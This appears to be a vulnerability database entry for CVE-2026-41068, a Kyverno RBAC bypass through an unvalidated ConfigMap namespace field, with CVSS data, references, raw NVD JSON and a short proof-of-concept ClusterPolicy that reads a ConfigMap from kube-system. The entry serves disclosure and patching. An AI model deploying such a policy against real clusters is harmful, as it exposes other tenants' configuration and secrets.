CVE-2026-41068

Description

Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:* - VULNERABLE

Kyverno < 1.17.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: cve-2026-41068-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: leak-sensitive-config
    match:
      resources:
        kinds:
        - Pod
    context:
      # Vulnerability: The namespace field is not validated against the user's RBAC.
      # This attempts to load a configmap from a restricted namespace (e.g., kube-system)
      - name: leaked-data
        configMap:
          name: sensitive-config
          namespace: kube-system
    validate:
      message: "PoC: Triggering context loading to bypass RBAC."
      pattern:
        spec: {}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41068
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41068
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41068/
[4] VulDB https://vuldb.com/cve/CVE-2026-41068
[5] https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777
[6] https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p
[7] https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41068", "sourceIdentifier": "[email protected]", "published": "2026-04-24T04:16:19.950", "lastModified": "2026-04-27T17:48:04.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*", "versionEndExcluding": "1.17.2", "matchCriteriaId": "6574A7FA-CE7D-4EB6-B036-044E07DB453A"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}